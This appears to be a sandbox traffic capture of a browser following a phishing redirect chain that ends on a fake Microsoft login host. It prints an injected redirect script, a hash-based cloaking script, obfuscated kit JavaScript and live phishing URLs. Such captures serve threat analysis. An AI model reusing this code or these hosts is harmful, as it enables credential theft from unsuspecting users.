2024-08-28 20:20:40 UTC	670	OUT	GET /wp-about HTTP/1.1 Host: willyadventures.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:40 UTC	400	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 795 date: Wed, 28 Aug 2024 20:20:40 GMT server: LiteSpeed location: https://willyadventures.com/wp-about/ vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:20:40 UTC	795	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!importan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49728	167.86.102.97	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:41 UTC	671	OUT	GET /wp-about/ HTTP/1.1 Host: willyadventures.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:41 UTC	377	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/7.4.27 content-type: text/html; charset=UTF-8 content-length: 123 date: Wed, 28 Aug 2024 20:20:41 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:20:41 UTC	123	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 22 68 74 74 70 73 3a 2f 2f 61 76 63 6f 2e 63 6f 2e 6a 70 2f 76 6d 2f 4f 61 75 74 68 2d 76 6d 2d 6f 66 66 69 63 65 2d 63 61 6c 6c 65 72 2d 61 70 69 2f 77 69 6e 31 30 2e 70 68 70 22 3b 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script type="text/javascript">window.location.href ="https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php";</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49730	183.90.238.45	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:43 UTC	717	OUT	GET /vm/Oauth-vm-office-caller-api/win10.php HTTP/1.1 Host: avco.co.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://willyadventures.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:46 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-08-28 20:20:46 UTC	844	IN	Data Raw: 33 34 30 0d 0a 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 6d 61 69 6e 5f 6c 69 6e 6b 20 3d 20 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 6d 78 2d 63 6f 6e 63 6f 72 64 2e 73 62 73 2f 3f 6c 69 74 3d 75 70 22 3b 0a 0a 0a 20 20 20 20 69 66 20 28 21 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 66 72 61 67 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0a 0a 0a 20 20 20 20 69 66 20 28 66 72 61 67 6d 65 6e 74 2e 6c 65 6e 67 74 68 20 3c 20 33 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: 340<script> var main_link = "https://portal.mx-concord.sbs/?lit=up"; if (!window.location.hash) { location.href = "https://google.com"; } var fragment = window.location.hash.substring(1); if (fragment.length < 3) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49732	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:46 UTC	687	OUT	GET /?lit=up HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://avco.co.jp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:48 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-08-28 20:20:48 UTC	16203	IN	Data Raw: 37 37 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 57 2c 4e 29 7b 76 61 72 20 5a 4c 3d 61 30 57 35 2c 61 3d 57 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5a 3d 2d 70 61 72 73 65 49 6e 74 28 5a 4c 28 30 78 32 62 61 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 5a 4c 28 30 78 31 38 64 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5a 4c 28 30 78 31 30 34 29 29 2f 30 78 33 2a 28 70 61 72 73 65 49 6e 74 28 5a 4c 28 30 78 32 32 63 29 29 2f 30 78 34 29 2b 70 61 72 73 65 49 6e 74 28 5a 4c 28 30 78 Data Ascii: 77f5<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(W,N){var ZL=a0W5,a=W();while(!![]){try{var Z=-parseInt(ZL(0x2ba))/0x1(parseInt(ZL(0x18d))/0x2)+-parseInt(ZL(0x104))/0x3(parseInt(ZL(0x22c))/0x4)+parseInt(ZL(0x
2024-08-28 20:20:48 UTC	14514	IN	Data Raw: 65 74 75 72 6e 20 50 47 28 30 78 32 31 64 29 3d 3d 3d 61 79 26 26 28 28 61 4c 3d 7b 7d 29 5b 50 47 28 30 78 32 31 66 29 5d 3d 7b 7d 2c 61 4c 5b 27 63 6f 6e 73 74 72 75 63 74 6f 72 27 5d 5b 61 44 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 4c 3b 7d 2c 61 4c 5b 50 47 28 30 78 34 62 65 29 5d 3d 27 27 2c 61 4c 5b 61 49 5d 3d 2f 2e 2f 5b 61 49 5d 29 2c 61 4c 5b 50 47 28 30 78 31 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 58 3d 50 47 3b 72 65 74 75 72 6e 20 50 58 28 30 78 32 64 32 29 3d 3d 3d 27 63 53 52 6f 4a 27 3f 7b 27 65 72 72 6f 72 27 3a 21 30 78 30 2c 27 76 61 6c 75 65 27 3a 57 78 7d 3a 28 61 48 3d 21 30 78 30 2c 6e 75 6c 6c 29 3b 7d 2c 61 4c 5b 61 49 5d 28 27 27 29 2c 21 61 48 3b 7d 65 6c 73 65 7b 76 61 72 20 61 78 Data Ascii: eturn PG(0x21d)===ay&&((aL={})[PG(0x21f)]={},aL['constructor'][aD]=function(){return aL;},aL[PG(0x4be)]='',aL[aI]=/./[aI]),aL[PG(0x158)]=function(){var PX=PG;return PX(0x2d2)==='cSRoJ'?{'error':!0x0,'value':Wx}:(aH=!0x0,null);},aL[aI](''),!aH;}else{var ax
2024-08-28 20:20:48 UTC	16384	IN	Data Raw: 63 30 30 30 0d 0a 61 51 3d 70 50 28 30 78 32 30 39 29 2c 61 53 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 70 46 3d 70 50 3b 69 66 28 70 46 28 30 78 32 36 38 29 21 3d 3d 70 46 28 30 78 32 36 38 29 29 7b 69 66 28 57 53 3e 30 78 31 66 66 66 66 66 66 66 66 66 66 66 66 66 29 74 68 72 6f 77 20 57 6e 28 70 46 28 30 78 34 34 37 29 29 3b 72 65 74 75 72 6e 20 57 42 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 74 68 69 73 3b 7d 3b 61 43 5b 70 50 28 30 78 33 66 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 68 2c 61 52 2c 61 6f 2c 61 6b 2c 61 64 2c 61 55 2c 61 56 29 7b 76 61 72 20 70 70 3d 70 50 3b 69 66 28 70 70 28 30 78 33 35 37 29 21 3d 3d 70 70 28 30 78 33 35 37 29 29 7b 76 61 72 20 5a 32 3d 61 64 28 30 78 37 30 66 29 2c 5a 33 3d 61 51 28 30 78 31 36 37 62 29 2c 5a Data Ascii: c000aQ=pP(0x209),aS=function(){var pF=pP;if(pF(0x268)!==pF(0x268)){if(WS>0x1fffffffffffff)throw Wn(pF(0x447));return WB;}else return this;};aC[pP(0x3f7)]=function(ah,aR,ao,ak,ad,aU,aV){var pp=pP;if(pp(0x357)!==pp(0x357)){var Z2=ad(0x70f),Z3=aQ(0x167b),Z
2024-08-28 20:20:48 UTC	16384	IN	Data Raw: 3d 27 67 27 29 2c 61 69 5b 27 69 67 6e 6f 72 65 43 61 73 65 27 5d 26 26 28 61 76 2b 3d 27 69 27 29 2c 61 69 5b 27 6d 75 6c 74 69 6c 69 6e 65 27 5d 26 26 28 61 76 2b 3d 27 6d 27 29 2c 61 69 5b 27 64 6f 74 41 6c 6c 27 5d 26 26 28 61 76 2b 3d 27 73 27 29 2c 61 69 5b 4f 6c 28 30 78 32 31 33 29 5d 26 26 28 61 76 2b 3d 27 75 27 29 2c 61 69 5b 4f 6c 28 30 78 33 30 61 29 5d 26 26 28 61 76 2b 3d 27 76 27 29 2c 61 69 5b 4f 6c 28 30 78 31 30 35 29 5d 26 26 28 61 76 2b 3d 27 79 27 29 2c 61 76 3b 7d 3b 7d 2c 30 78 32 36 30 38 3a 66 75 6e 63 74 69 6f 6e 28 61 43 2c 61 4b 2c 61 75 29 7b 76 61 72 20 4f 69 3d 61 30 57 35 2c 61 6c 3d 61 75 28 30 78 37 30 66 29 2c 61 69 3d 61 75 28 30 78 31 36 37 62 29 2c 61 76 3d 61 75 28 30 78 31 32 63 66 29 2c 61 72 3d 61 75 28 30 78 31 Data Ascii: ='g'),ai['ignoreCase']&&(av+='i'),ai['multiline']&&(av+='m'),ai['dotAll']&&(av+='s'),ai[Ol(0x213)]&&(av+='u'),ai[Ol(0x30a)]&&(av+='v'),ai[Ol(0x105)]&&(av+='y'),av;};},0x2608:function(aC,aK,au){var Oi=a0W5,al=au(0x70f),ai=au(0x167b),av=au(0x12cf),ar=au(0x1
2024-08-28 20:20:48 UTC	16384	IN	Data Raw: 2c 30 78 31 38 32 38 3a 66 75 6e 63 74 69 6f 6e 28 61 43 2c 61 4b 2c 61 75 29 7b 76 61 72 20 43 53 3d 61 30 57 35 2c 61 6c 3d 61 75 28 30 78 32 31 61 34 29 2c 61 69 3d 61 75 28 30 78 35 38 31 29 2c 61 76 3d 61 75 28 30 78 62 66 62 29 2c 61 72 3d 61 75 28 30 78 37 30 66 29 2c 61 6a 3d 61 75 28 30 78 31 32 39 61 29 2c 61 54 3d 61 75 28 30 78 32 31 31 39 29 2c 61 44 3d 61 75 28 30 78 35 63 62 29 2c 61 4d 3d 61 75 28 30 78 35 38 66 29 2c 61 79 3d 61 75 28 30 78 36 61 32 29 2c 61 45 3d 61 75 28 30 78 31 34 35 66 29 2c 61 71 3d 61 75 28 30 78 31 37 38 64 29 2c 61 4a 3d 53 74 72 69 6e 67 2c 61 49 3d 61 69 28 43 53 28 30 78 32 39 32 29 2c 43 53 28 30 78 34 38 32 29 29 2c 61 7a 3d 61 6a 28 2f 2e 2f 5b 43 53 28 30 78 31 35 38 29 5d 29 2c 61 62 3d 61 6a 28 27 27 5b Data Ascii: ,0x1828:function(aC,aK,au){var CS=a0W5,al=au(0x21a4),ai=au(0x581),av=au(0xbfb),ar=au(0x70f),aj=au(0x129a),aT=au(0x2119),aD=au(0x5cb),aM=au(0x58f),ay=au(0x6a2),aE=au(0x145f),aq=au(0x178d),aJ=String,aI=ai(CS(0x292),CS(0x482)),az=aj(/./[CS(0x158)]),ab=aj(''[
2024-08-28 20:20:48 UTC	8	IN	Data Raw: 28 30 78 33 33 63 0d 0a Data Ascii: (0x33c
2024-08-28 20:20:48 UTC	16384	IN	Data Raw: 31 35 63 62 31 0d 0a 29 5d 2b 28 61 62 3f 61 63 3a 30 78 30 29 29 2c 61 64 5b 27 6c 65 6e 67 74 68 27 5d 29 29 3d 3d 3d 61 59 29 61 63 3d 61 4d 28 61 64 2c 61 63 2c 61 73 29 3b 65 6c 73 65 7b 69 66 28 4b 42 28 30 78 34 35 35 29 21 3d 3d 4b 42 28 30 78 34 66 30 29 29 7b 69 66 28 61 6d 28 61 67 2c 61 48 28 61 64 2c 61 59 2c 61 63 29 29 2c 61 67 5b 27 6c 65 6e 67 74 68 27 5d 3d 3d 3d 61 41 29 72 65 74 75 72 6e 20 61 67 3b 66 6f 72 28 76 61 72 20 5a 30 3d 30 78 31 3b 5a 30 3c 3d 61 58 5b 4b 42 28 30 78 64 30 29 5d 2d 30 78 31 3b 5a 30 2b 2b 29 69 66 28 61 6d 28 61 67 2c 61 58 5b 5a 30 5d 29 2c 61 67 5b 4b 42 28 30 78 64 30 29 5d 3d 3d 3d 61 41 29 72 65 74 75 72 6e 20 61 67 3b 61 63 3d 61 59 3d 61 47 3b 7d 65 6c 73 65 7b 69 66 28 57 55 28 5a 30 2c 74 68 69 73 Data Ascii: 15cb1)]+(ab?ac:0x0)),ad['length']))===aY)ac=aM(ad,ac,as);else{if(KB(0x455)!==KB(0x4f0)){if(am(ag,aH(ad,aY,ac)),ag['length']===aA)return ag;for(var Z0=0x1;Z0<=aX[KB(0xd0)]-0x1;Z0++)if(am(ag,aX[Z0]),ag[KB(0xd0)]===aA)return ag;ac=aY=aG;}else{if(WU(Z0,this
2024-08-28 20:20:49 UTC	16384	IN	Data Raw: 41 72 72 61 79 28 61 45 5b 75 45 28 30 78 64 30 29 5d 29 2c 61 4a 3d 30 78 30 3b 61 4a 3c 61 45 5b 27 6c 65 6e 67 74 68 27 5d 3b 61 4a 2b 2b 29 7b 69 66 28 75 45 28 30 78 34 61 33 29 21 3d 3d 27 50 50 64 54 4d 27 29 7b 76 61 72 20 61 49 3d 61 45 5b 75 45 28 30 78 31 37 39 29 5d 28 61 4a 29 3b 69 66 28 61 49 3e 30 78 37 66 29 72 65 74 75 72 6e 20 6e 65 77 20 54 65 78 74 45 6e 63 6f 64 65 72 28 29 5b 27 65 6e 63 6f 64 65 27 5d 28 61 45 29 3b 61 71 5b 61 4a 5d 3d 61 49 3b 7d 65 6c 73 65 7b 69 66 28 57 43 28 57 4d 29 29 72 65 74 75 72 6e 20 57 7a 3b 74 68 72 6f 77 20 6e 65 77 20 57 41 28 61 54 28 61 79 29 2b 75 45 28 30 78 32 37 65 29 29 3b 7d 7d 72 65 74 75 72 6e 20 61 71 3b 7d 7d 28 61 43 29 3b 61 4b 3d 61 4b 7c 7c 30 78 30 3b 76 61 72 20 61 6c 2c 61 69 3d Data Ascii: Array(aE[uE(0xd0)]),aJ=0x0;aJ<aE['length'];aJ++){if(uE(0x4a3)!=='PPdTM'){var aI=aE[uE(0x179)](aJ);if(aI>0x7f)return new TextEncoder()['encode'](aE);aq[aJ]=aI;}else{if(WC(WM))return Wz;throw new WA(aT(ay)+uE(0x27e));}}return aq;}}(aC);aK=aK\|\|0x0;var al,ai=
2024-08-28 20:20:49 UTC	16384	IN	Data Raw: 30 78 34 61 66 29 5d 29 7b 66 6f 72 28 76 61 72 20 61 42 3d 30 78 30 3b 61 42 3c 3d 30 78 36 34 3b 2b 2b 61 42 29 69 66 28 57 43 28 6c 75 28 30 78 34 61 35 29 5b 6c 75 28 30 78 33 31 63 29 5d 28 61 42 2c 27 29 27 29 29 5b 6c 75 28 30 78 34 61 66 29 5d 29 72 65 74 75 72 6e 20 61 42 3b 74 68 72 6f 77 20 6e 65 77 20 57 4d 28 6c 75 28 30 78 33 30 62 29 29 3b 7d 7d 7d 2c 61 65 3d 30 78 30 2c 61 6d 3d 57 73 3b 61 65 3c 61 6d 5b 6c 6c 28 30 78 64 30 29 5d 3b 61 65 2b 2b 29 7b 61 62 28 61 6d 5b 61 65 5d 29 3b 7d 72 65 74 75 72 6e 20 61 7a 3b 7d 2c 61 79 3d 66 75 6e 63 74 69 6f 6e 28 61 7a 29 7b 76 61 72 20 6c 69 3d 6c 4f 3b 72 65 74 75 72 6e 20 57 56 5b 6c 69 28 30 78 33 66 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 61 62 2c 61 65 29 7b 76 61 72 20 6c 76 3d 6c 69 3b Data Ascii: 0x4af)]){for(var aB=0x0;aB<=0x64;++aB)if(WC(lu(0x4a5)[lu(0x31c)](aB,')'))[lu(0x4af)])return aB;throw new WM(lu(0x30b));}}},ae=0x0,am=Ws;ae<am[ll(0xd0)];ae++){ab(am[ae]);}return az;},ay=function(az){var li=lO;return WV[li(0x3f0)](function(ab,ae){var lv=li;
2024-08-28 20:20:49 UTC	16384	IN	Data Raw: 30 78 31 3a 4e 33 28 69 4e 28 30 78 33 32 32 29 29 3f 30 78 61 3a 76 6f 69 64 20 30 78 30 3b 7d 2c 27 72 65 64 75 63 65 64 4d 6f 74 69 6f 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 61 3d 75 4b 3b 72 65 74 75 72 6e 21 21 4e 34 28 69 61 28 30 78 32 36 65 29 29 7c 7c 21 4e 34 28 69 61 28 30 78 34 33 36 29 29 26 26 76 6f 69 64 20 30 78 30 3b 7d 2c 27 72 65 64 75 63 65 64 54 72 61 6e 73 70 61 72 65 6e 63 79 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 5a 3d 75 4b 3b 72 65 74 75 72 6e 20 69 5a 28 30 78 34 63 31 29 21 3d 3d 69 5a 28 30 78 34 63 31 29 3f 57 53 28 57 6e 2c 57 42 2c 5b 5d 29 3a 21 21 4e 35 28 69 5a 28 30 78 32 36 65 29 29 7c 7c 21 4e 35 28 69 5a 28 30 78 34 33 36 29 29 26 26 76 6f 69 64 20 30 78 30 3b 7d 2c 27 68 64 72 27 3a Data Ascii: 0x1:N3(iN(0x322))?0xa:void 0x0;},'reducedMotion':function(){var ia=uK;return!!N4(ia(0x26e))\|\|!N4(ia(0x436))&&void 0x0;},'reducedTransparency':function(){var iZ=uK;return iZ(0x4c1)!==iZ(0x4c1)?WS(Wn,WB,[]):!!N5(iZ(0x26e))\|\|!N5(iZ(0x436))&&void 0x0;},'hdr':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49733	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:49 UTC	843	OUT	POST /?lit=up HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive Content-Length: 4482 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://portal.mx-concord.sbs Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://portal.mx-concord.sbs/?lit=up Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:20:49 UTC	4482	OUT	Data Raw: 72 6c 74 70 74 75 73 35 73 64 67 64 3d 25 35 42 25 35 42 25 32 32 34 35 36 38 33 38 32 35 34 33 33 32 32 35 33 38 33 30 37 33 34 37 37 34 37 25 32 32 25 32 43 25 32 32 34 34 35 37 33 37 37 32 35 33 37 34 32 33 38 32 35 33 33 34 35 32 35 34 33 25 32 32 25 32 43 25 32 32 33 32 32 35 33 38 33 37 32 35 33 33 34 35 37 38 33 30 33 37 33 35 33 38 33 25 32 32 25 32 43 25 32 32 32 33 34 33 38 33 30 33 31 33 38 33 37 33 34 33 31 33 33 33 37 33 36 33 35 25 32 32 25 35 44 25 32 43 25 32 32 30 37 35 38 32 34 38 30 31 38 25 32 32 25 32 43 25 32 32 31 37 35 32 33 34 33 25 32 32 25 32 43 39 25 35 44 26 67 6e 35 32 6a 65 6e 70 76 75 75 3d 25 35 42 25 35 42 25 32 32 36 66 32 35 33 37 34 32 32 35 33 33 34 32 32 35 33 33 34 33 37 31 32 35 25 32 32 25 32 43 25 32 32 33 33 34 Data Ascii: rltptus5sdgd=%5B%5B%224568382543322538307347747%22%2C%224457377253742382533452543%22%2C%223225383725334578303735383%22%2C%222343830313837343133373635%22%5D%2C%220758248018%22%2C%221752343%22%2C9%5D&gn52jenpvuu=%5B%5B%226f2537422533422533437125%22%2C%22334
2024-08-28 20:20:50 UTC	397	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 28 Aug 2024 20:20:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://portal.mx-concord.sbs/?lit=up set-cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; Domain=mx-concord.sbs; HttpOnly; Path=/; SameSite=None; Secure
2024-08-28 20:20:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49735	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:50 UTC	851	OUT	GET /?lit=up HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://portal.mx-concord.sbs/?lit=up Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:20:53 UTC	783	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:20:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 56964 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: aafbe953-0709-4799-ba46-9c7ea0730000 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:20:53 UTC	15601	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b4 bd 7b 7f e2 b8 92 30 fc ff 7c 8a 84 9d 5f c0 27 84 70 0d 84 b4 87 4d 08 b9 df 3a 04 ba 69 86 cd 63 6c 01 4e c0 26 b6 09 a1 bb f3 7e f6 b7 aa 24 d9 32 81 ee 79 ce 9e e7 ec 4e c7 96 75 29 95 ea ae 92 f8 b4 79 7c 5b 7f e8 dc 35 36 46 c1 64 fc d7 1f 9f f8 9f 8d 4f 23 66 58 f0 77 e3 53 60 07 63 86 4f 1b f7 cc b2 3d 66 06 b6 33 c4 0f bb e1 97 4f 13 16 18 1b a6 eb 04 cc 09 f4 44 c0 de 82 5d ec e7 60 c3 1c 19 9e cf 02 7d 16 0c 76 2a 09 18 23 98 ee b0 97 99 fd aa 27 ea bc fa ce c3 62 ca 12 bb 2b ba 39 6f e8 cc 1a b2 78 ab af 3b ad c3 9d ba 3b 99 1a 81 dd 1f af 6e 38 b7 ad 60 a4 5b ec d5 36 d9 0e bd a4 37 6c c7 0e 6c 63 bc e3 9b c6 98 e9 b9 4c 36 bd 31 31 de ec c9 6c 22 8a f2 58 34 